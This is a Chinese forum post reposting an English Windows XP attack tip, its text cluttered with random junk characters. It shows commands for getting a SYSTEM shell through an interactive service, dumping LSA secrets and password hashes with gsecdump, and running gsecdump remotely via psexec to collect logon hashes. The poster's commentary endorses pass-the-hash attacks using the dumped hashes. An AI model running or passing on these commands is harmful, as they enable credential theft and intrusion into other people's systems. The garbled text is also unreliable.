o get a DOS Prompt as NT system:9 \- S1 o# n; I! i. u H
5 A7 v9 }% h, d& ]! v* E! F: o
C:\>sc create shellcmdline binpath= "C:\WINDOWS\system32\cmd.exe /K start" type= own type= interact& e& \' r1 h- @. ]" P
[SC] CreateService SUCCESS" H, M5 ?4 S/ V
3 b2 Z/ V. i7 q
C:\>sc start shellcmdline u2 p ?; o+ {& a
[SC] StartService FAILED 1053:- ?( h C. U( ~! X# c. x* G8 b
0 ]6 B$ s4 A5 \& T3 c* q
The service did not respond to the start or control request in a timely fashion.
& \3 ] y! d; [: L! W7 v5 ~3 u' B! L* q2 V: e
C:\>sc delete shellcmdline
5 X; g$ t5 N( s* ]' l! {[SC] DeleteService SUCCESS0 b! T/ t5 D& f' h
' g4 t3 m4 \ f. s
------------! H$ h0 E( z# e; X) D/ ?: e c n5 {
; a1 B) C: _: F3 i
Then in the new DOS window:! f6 Y( F) z5 H9 F3 E" P( w* a
5 N% o& X& ?3 m+ W* X# Y; D& [; ~Microsoft Windows XP [Version 5.1.2600]5 R* \, y# d. R5 ?, D
(C) Copyright 1985-2001 Microsoft Corp.) [; x0 D; u) A+ A: P6 A
9 @* ^& ^+ c* K0 Z
C:\WINDOWS\system32>whoami* @# m1 W7 k+ o/ u: P
NT AUTHORITY\SYSTEM. k- ~0 V3 P) B+ _2 T) r
. d+ \( B" L0 u. r' O4 {# q' H8 a: I9 TC:\WINDOWS\system32>gsecdump -h
: E( B5 R, ?; i& Wgsecdump v0.6 by Johannes Gumbel (链接标记johannes.gumbel@truesec.se)
; B3 M- P0 F9 t" ~2 G9 v* husage: gsecdump [options]+ |* t! Q; i# d% d
4 Q8 e" k- o6 E5 I& D* O3 B ^% d
options:3 B A; o8 Z5 V: C
-h [ --help ] show help% x c, ^2 B* B6 n: X& ]$ t# u4 ]: _
-a [ --dump_all ] dump all secrets: n9 ?% y. p8 J- l& r
-l [ --dump_lsa ] dump lsa secrets
* O$ Z: O# b4 e. ^1 T-w [ --dump_wireless ] dump microsoft wireless connections
3 p2 ~. x# {; U-u [ --dump_usedhashes ] dump hashes from active logon sessions$ e( W* y8 D, X4 r& d. S6 I
-s [ --dump_hashes ] dump hashes from SAM/AD
. X$ E$ Y2 G& b; C; W0 D X4 B& \0 h+ l# H: m4 K! K& i- L
Although I like to use:+ B4 h. w. k5 N5 `, f" v! Q
2 }; h, t. d4 v3 g
PsExec v1.83 - Execute processes remotely
6 a) Z/ g! p3 s$ _: F! F: e0 M) aCopyright (C) 2001-2007 Mark Russinovich
4 N2 O( _* ]+ b, F2 y- f9 E SSysinternals - 链接标记[url]www.sysinternals.com[/url]
- Y F+ g- ?1 r/ q/ r9 e) E. @; n, b
7 b% A: O* L4 f* u( \' D6 z5 R5 @6 v6 yC:\>psexec \\COMPUTER -u user -p password -s -f -c gsecdump.exe -u >Active-HASH.TXT1 {' l( A3 _: N( Z) \5 g+ Z) R+ `
$ t2 I# L* @! `! E8 C$ Z( \7 t2 R, fto get the hashes from active logon sessions of a remote system.3 [) c6 y5 K; k |
4 h' p/ s- r5 p4 {! R; j! E
These are a lot better than getting a cachedump of the Cached Credentials because these hashes are LMHashes that can be easily broken with Rainbow Tables.0 i& x9 U3 X4 U, n0 k I. b
3 Z1 [+ E4 R5 i3 p" V5 ^3 _+ F
提示一下,可以使用pshtools工具包中的iam,把刚才使用gsecdump抓取出来HASH信息导入本地的lsass进程,来实现hash注入式攻击,还是老外厉害,这下管理员有得忙了,ARP欺骗的时候获得的LM/NThash,还有gethash获得的,其实根本不用破解密码,这个就是利用工具了,原文说的好,不管密码是设置4位还是127位,只要有了hash,100%就能搞定了.* c% z$ D9 d; @" G8 M, g4 E
原文出处:链接标记[url]http://truesecurity.se/blogs/mur ... -text-password.aspx[/url]
* H ~* _3 J9 z! B+ N1 s% p% h9 }/ `/ o" c, J) Z A' A
我看了下原文出处，貌似是/2007/03/16/郁闷啊，差距。2 _4 H/ v, H6 e. s
|
发表于 2012-11-6 21:09:29
收藏
支持
反对